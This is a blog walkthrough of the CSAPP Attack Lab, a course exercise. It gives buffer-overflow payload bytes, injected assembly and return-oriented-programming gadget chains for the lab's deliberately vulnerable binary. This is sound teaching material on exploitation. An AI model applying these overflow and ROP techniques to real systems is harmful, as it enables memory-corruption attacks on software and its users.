zoukankan      html  css  js  c++  java
  • CSAPP实验3 : attacklab

    佛了,写到lab3才知道有writeup这种东西...

    CI Part


    touch1


    很简单的题,但是做了很久才发现是数错了的问题....面壁中

    00000000004017a8 <getbuf>:
      4017a8:	48 83 ec 28          	sub    $0x28,%rsp
      4017ac:	48 89 e7             	mov    %rsp,%rdi
      4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
      4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
      4017b9:	48 83 c4 28          	add    $0x28,%rsp
      4017bd:	c3                   	retq   
    

    重点在对%rsp的操作,这里留出了40byte的位置给buffer,我们只需要输入40+8长度的字符串就可以成功修改到返回地址了
    touch1的地址是0x004017c0,根据little endian的规则,前面40个无所谓,后面8个是c0 17 40 00 00 00 00 00就可以了(注意跳转地址是64位的),事实上我一开始只写了4个也是对的...
    这里非常坑爹,输入只能是00而不能是0...
    一开始错是因为把8个分成了一组,这样4组就只有32个,面壁中...

    touch2


    这个比起上面有一点难度

    具体的getbuf和上面没有区别,重点在于我们需要用cookie的值给寄存器%rdi赋值,然后再跳转到touch2
    我们可以先写好汇编代码,再利用gcc -c test.s来得到test.o二进制文件,然后objdump -d test.o > test.d就可以得到对应指令的编码了,放在40个中的随便哪个位置,最后在栈的返回位置写入我们注入代码的起始地址就好了
    查看起始地址可以gdb进去观察%rsp的值,然后画图就好了。只需要记住栈向低处增长、命令从低处开始执行、字符串从低处开始写入内存

    写出来的汇编大概长这样,不同的cookie写出来肯定也不一样:

    movq $0x59b997fa,%rdi
    pushq $0x4017ec
    ret
    

    touch3


    有了writeup就很好做啦

    查文档可以知道sprintf(str, "%.8x", x)表示把x以16进制、占8位打印到str指向的地址处,那么我们就是要在注入的代码中带上自己的cookie,然后传入这个cookie字符串的起始地址

    writeup提示hexmatch和其他函数会重新占用getbuf所产生stack frame的内存,但是由于这两者是同级的(意会一下这个我瞎说的概念),因此getbuf往上一层函数的stack frame就不会被修改到,所以我们把cookie存在这个地方。当然你慢慢看代码发现getbuf的stack frame被用的一滴都不剩了再打其他地方的注意也不是不行....

    35 39 62 39 39 37 66 61
    00 00 00 00 00 00 00 00
    00 00 00 48 c7 c7 a8 dc
    61 55 68 fa 18 40 00 c3
    00 00 00 00 00 00 00 00
    8b dc 61 55 00 00 00 00
    35 39 62 39 39 37 66 61
    

    自此code injection的部分就做完啦~ 撒花 ~

    ROP Part


    touch2


    ROP比CI要好玩得多,适用性也更广,会让开发者有一种被自己代码NTR的感觉

    考虑怎么实现传入参数。虽然我们无法直接注入可执行的代码,但是我们可以注入需要的数据,再利用类似popq的指令从栈上取出需要的数据

    一个观察farm.c的好方法是先得到farm.d,再找到所有的ret指令(指令长度为一、指令唯一),那么我们就可以得到一系列以ret结尾的指令片段

    我们需要的部分必定是若干指令片段的一个后缀(这个十分显然),于是大概写一个汇编,然后对着表查就好了。

    比如说实现传参的话一定要有一个带%rdi的指令、取出数据一定要有一个popq指令、再说下去就把答案泄露了.....

    写出来大概是介样:

    f3 0f 1e fa 55 48 89 e5 b8 fb 78 90 90 5d c3
    f3 0f 1e fa 55 48 89 e5 89 7d fc 8b 45 fc 2d b8 76 38 3c 5d c3
    f3 0f 1e fa 55 48 89 e5 89 7d fc 8b 45 fc 2d af 8c a7 6f 5d c3
    f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 48 89 c7 c7 90 5d c3
    f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 54 c2 58 92 90 5d c3
    f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 63 48 8d c7 90 5d c3
    f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 48 89 c7 90 90 5d c3
    f3 0f 1e fa 55 48 89 e5 b8 29 58 90 c3
    5d c3
    
    mine:
    58			popq %rax
    90			nop
    c3			ret
    
    48 89 c7	movq %rax,%rdi
    90			nop
    90			nop
    5d			popq %rbp
    c3			ret
    
    

    这里的代码地址是固定的,所以比较好跳转。如果代码地址随机还可以用上所谓的“雪橇序列”小技巧(我瞎翻的一个术语)来实现较大概率命中我们想要的gadgets。

    touch3


    做完辣

    注意到难点在于栈的位置随机,但是我们可以发现栈的相对位置不变,并且由附录可以很容易得到%rsp,那么我们只需要提前取出%rsp,用它加上一个合适的delta得到注入的字符串的地址,再同样跳转到touch3就可以了

    阅读farm.c可以看到这么一个函数

    /* Add two arguments */
    long add_xy(long x, long y)
    {
        return x+y;
    }
    

    这玩意就在mid后面,而且还有注释....这重要性还要我说嘛

    然后根据一些小技巧(比如说一定要用上functional nopmovl,比如说movl一定用在传输delta上(我们操作的其他值都是地址,必须要movq))就可以找到一些一定要用上的片段,它们恰好就构成了一条数据传输链,写出来大概是这样的

    mine:
    movq %rsp,%rax; 48 89 e0 90 c3
    movq %rax,%rdi; 48 89 c7 c3
    ;上面一段用来取出%rdi
    popq %rax; 58 90 c3
    movl %eax,%edx; 89 c2 90 c3
    movl %edx,%ecx; 89 d1 38 c9 c3
    movl %ecx,%esi; 89 ce 38 c0 c3
    ;上面一段用来取出%rsi
    
    ret; c3 这里用来调用<add_xy>
    
    movq %rax,%rdi; 48 89 c7 c3 这里就是传参啦
    

    然后就很简单了,只需要找delta的值就行了。这个可以gdb进去直接扫内存看差值

    本文来自博客园,作者:jjppp。本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议

  • 相关阅读:
    Cocos2d-x 3.2:定时器的使用和原理探究(2)
    Cocos2d-x 3.2:定时器的使用和原理探究(1)
    c++初学(电梯实验加强版)
    中序线索化二叉树
    c++初学(电梯实验)
    二叉树表达式计算(2)
    输入计算表达式,将他们存在string【】中
    函数修改二维数组的值
    单件模式以及内存释放
    迷宫(栈)不能求最短路径
  • 原文地址:https://www.cnblogs.com/jjppp/p/14374334.html
Copyright © 2011-2022 走看看